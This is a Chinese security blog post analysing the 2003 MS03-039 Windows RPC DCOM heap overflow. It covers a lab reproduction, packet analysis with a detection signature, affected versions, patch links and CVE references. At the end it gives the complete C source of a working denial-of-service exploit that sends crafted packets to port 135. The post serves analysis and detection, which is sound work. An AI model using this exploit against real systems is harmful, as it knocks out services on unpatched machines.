午后阳光——纯粹原创空间

转载请邮件联系,谢绝盈利机构转载 音乐教育了我们...

  DonewsBlog  |  Donews首页  |  Donews社区  |  Donews邮箱  |  我的首页  |  联系作者  |  聚合   |  登录
  9篇文章 :: 0篇收藏:: 3篇评论:: 0个Trackbacks

公告


qq:828345
MSN:
tomqq2020@hotmail.com
职业生涯:
从事网络安全设备的开发,IDS,sslvpn,数据库网络审计,漏洞研究。 精通网站脚本语言以及web安全;精通wap,phs开发;主要使用语言为c/c++,java,主要开发平台为linux。
2004年毕业于四川大学计算机应用专业,硕士学历。毕业后进入某研究所从事安全设备研发;目前在某外企从事ssl-vpn的研发。

文章

收藏

相册

我得好朋友

存档


正在读取评论……


--缓冲区溢出攻击攻击

sunjita 3/17/2006

 

 

1.   漏洞概况

微软的Windows操作系统的RPC接口又发现存在多个远程安全漏洞,入侵者可以使用这些漏洞取得系统的local system权限。

Remote Procedure Call (RPC)Windows 操作系统使用的一种远程过程调用协议,RPC提供进程间交互通信机制,允许在某台计算机上运行程序的无缝地在远程系统上执行代码。协议本身源自开放软件基金会的 RPC协议,Microsoft在其基础上增加了自己的一些扩展。

MicrosoftRPC部分在通过TCP/IP处理信息交换时存在多个远程堆缓冲区溢出问题,远程攻击者可以利用这些漏洞以本地系统权限在系统上执行任意指令。

这些漏洞是由于不正确处理畸形消息所致,漏洞实质上影响的是使用RPCDCOM接口。此接口处理由客户端机器发送给服务器的DCOM对象激活请求(UNC路径)。攻击者通过向目标发送畸形RPC DCOM请求来利用这些漏洞。成功利用此漏洞可以以本地系统权限执行任意指令。攻击者可以在系统上执行任意操作 ,如安装程序、查看或更改、删除数据或创建系统管理员权限的帐户。

这些漏洞分别是由NSFOCUS/Nessus/eEye独立发现,其中NSFOCUSNessus发现的堆溢出是由于对文件名长度缺乏检查导致的(CAN-2003-0528)eEye发现的堆溢出是由于对报文的长度域缺乏检查导致的(CAN-2003-0715)

攻击者可以通过 135(UDP/TCP), 137/UDP, 138/UDP, 139/TCP, 445(UDP/TCP), 593/TCP端口进行攻击。对于启动了COM Internet服务和RPC over HTTP的用户来说,攻击者还可能通过80/TCP443/TCP端口进行攻击。

微软已经在其安全公告MS03-039中提供了安全补丁以修复上述漏洞。

 

 

2.     攻击过程的实例分析

首先需要搭建平台。使用一个Win2000SP4的机器作为被攻击机器。攻击工具和原理,由于该漏洞的发现单位都是商业性的公司,没有放出更多的关于漏洞的细节,更没有EXPLOT的代码。经过多方查找,终于找到了xfocus.org flaysky2003年曾经放出的一个示例代码。建立一个VC工程,编译后得到攻击工具testHK.exe

C:\Temp>testhk.exe 192.168.2.214

RPC DCOM DOS Vulnerability discoveried by Xfocus.org

Code by FlashSky,Flashsky@xfocus.org,benjurry,benjurry@xfocus.org

Welcome to http://www.xfocus.net

 

 

C:\Temp>

 

 

查看214的被攻后情况,如图:

被攻击后,被攻击机产生溢出,RPC服务被当掉,再次连接135端口,显示该端口没有响应,攻击成功。

分析:由于没有漏洞相关细节的资料,我们目前可以通过数据抓包和程序文件作个分析。首先来看看数据记录文件2251,如图:

首先和远程主机135端口建立tcp连接。在数据包4发起RPC调用请求,在6STUB DATA内发出了溢出串。EXPLOIT程序的比较简短,建立一个精心构造的溢出串,通过一个socket发送至VICTIM主机。

 

DECRPC的版本号为5,即:

 

RPCbind类型,即:

content:"| 04 5d 88 8a eb 1c c9 11 9f e8 08 00 2b 10 48 60|",是漏洞利用的核心内容,虽然没有漏洞细节资料,但是根据堆缓冲区攻击原理,这个串的作用是调用有漏洞的模块,并且向漏洞函数传送了一个畸形的请求串,从而达到首先溢出堆,其次能够进行shellcode跳转的作用。该串的解析如下所示:

 

 

如果能得到更多内部细节,这个漏洞可以如此改进:

1)  找到漏洞函数和畸形请求中的参数对应关系;

2)  如果能够得到正常请求的模式的内部细节,就可以得到比对后的畸形串的恶意模式,从而进一步达到精确和原理型的检测。

 

 

5.影响系统

受影响的软件及系统:

====================

Microsoft Windows NT 4.0

Microsoft Windows NT 4.0 Terminal Services Edition

Microsoft Windows 2000

Microsoft Windows XP

Microsoft Windows Server 2003

 

 

未受影响的软件及系统:

======================

Microsoft Windows Millennium Edition

Microsoft Windows 98

 

 

补丁下载:

==========

Windows NT Workstation 4.0:

http://www.microsoft.com/downloads/details.aspx?FamilyId=7EABAD74-9CA9-48F4-8DB5-CF8C188879DA&displaylang=zh-cn

Windows NT Server 4.0

http://www.microsoft.com/downloads/details.aspx?FamilyId=71B6135C-F957-4702-B376-2DACCE773DC0&displaylang=zh-cn

Windows NT Server 4.0, Terminal Server Edition:

http://www.microsoft.com/downloads/details.aspx?FamilyId=677229F8-FBBF-4FF4-A2E9-506D17BB883F

Windows 2000:

http://www.microsoft.com/downloads/details.aspx?FamilyId=F4F66D56-E7CE-44C3-8B94-817EA8485DD1&displaylang=zh-cn

Windows XP:

http://www.microsoft.com/downloads/details.aspx?FamilyId=5FA055AE-A1BA-4D4A-B424-95D32CFC8CBA&displaylang=zh-cn

Windows XP 64 bit Edition:

http://www.microsoft.com/downloads/details.aspx?FamilyId=50E4FB51-4E15-4A34-9DC3-7053EC206D65

Windows XP 64 bit Edition Version 2003:

http://www.microsoft.com/downloads/details.aspx?FamilyId=80AB25B3-E387-441F-9B6D-84106F66059B

Windows Server 2003:

http://www.microsoft.com/downloads/details.aspx?FamilyId=51184D09-4F7E-4F7B-87A4-C208E9BA4787&displaylang=zh-cn

Windows Server 2003 64 bit Edition:

http://www.microsoft.com/downloads/details.aspx?FamilyId=80AB25B3-E387-441F-9B6D-84106F66059B

对于Windows 2000用户,建议安装完Windows 2000 SP4之后再安装上述补丁:

http://www.microsoft.com/Windows2000/downloads/servicepacks/sp4/download.asp

对于Windows NT 4.0用户,建议安装完SP6a之后再安装上述补丁:

http://www.microsoft.com/NTServer/nts/downloads/recommended/SP6/allsp6.asp

6.   对应BUG

bugtraq: 8234

bugtraq: 8458

cve: 2003-0528

cve: 2003-0605

cve: 2003-0715

nessus: 11798

nessus: 11835

url: www.microsoft.com/technet/security/bulletin/MS03-039.mspx

 

 

7.       附:攻击程序

#include

#include

#include

#include

#include

#include

 

 

unsigned char bindstr[]={ 0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,

0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,

0xA0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,

0x00,0x00,0x00,0x00,0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,

0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};

 

 

unsigned char request[]={ 0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x13,0x00,0x00,0x00,

0x90,0x00,0x00,0x00,0x01,0x00,0x03,0x00,0x05,0x00,0x06,0x01,0x00,0x00,0x00,0x00,

0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,

0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,

0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};

 

 

 

 

 

 

void main(int argc,char ** argv)

{

    WSADATA WSAData;

 int i;

    SOCKET sock;

    SOCKADDR_IN addr_in;

 

 short port=135;

 unsigned char buf1[0x1000];

 printf("RPC DCOM DOS Vulnerability discoveried by Xfocus.org\n"); printf("Code by FlashSky,Flashsky@xfocus.org,benjurry,benjurry@xfocus.org\n");

 printf("Welcome to http://www.xfocus.net\n");

 if(argc<2)

 {

  printf("useage:%s target\n",argv[0]);

exit(1);

 }

 

 

 

 

    if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)

    {

        printf("WSAStartup error.Error:%d\n",WSAGetLastError());

        return;

    }

 

 

    addr_in.sin_family=AF_INET;

    addr_in.sin_port=htons(port);

    addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);

 

 if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)

    {

        printf("Socket failed.Error:%d\n",WSAGetLastError());

        return;

    }

 if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR)

 {

  printf("Connect failed.Error:%d",WSAGetLastError());

  return;

 }

 if (send(sock,bindstr,sizeof(bindstr),0)==SOCKET_ERROR)

 {

   printf("Send failed.Error:%d\n",WSAGetLastError());

   return;

 }

 

 

 i=recv(sock,buf1,1024,MSG_PEEK);

 if (send(sock,request,sizeof(request),0)==SOCKET_ERROR)

 {

   printf("Send failed.Error:%d\n",WSAGetLastError());

   return;

 }

 i=recv(sock,buf1,1024,MSG_PEEK);

}

 

 

 

 

 



Trackback: http://tb.donews.net/TrackBack.aspx?PostId=1184724


[点击此处收藏本文]  发表于2007年07月09日 11:40 PM




正在读取评论……

发表评论

大名:
网址:
验证码
评论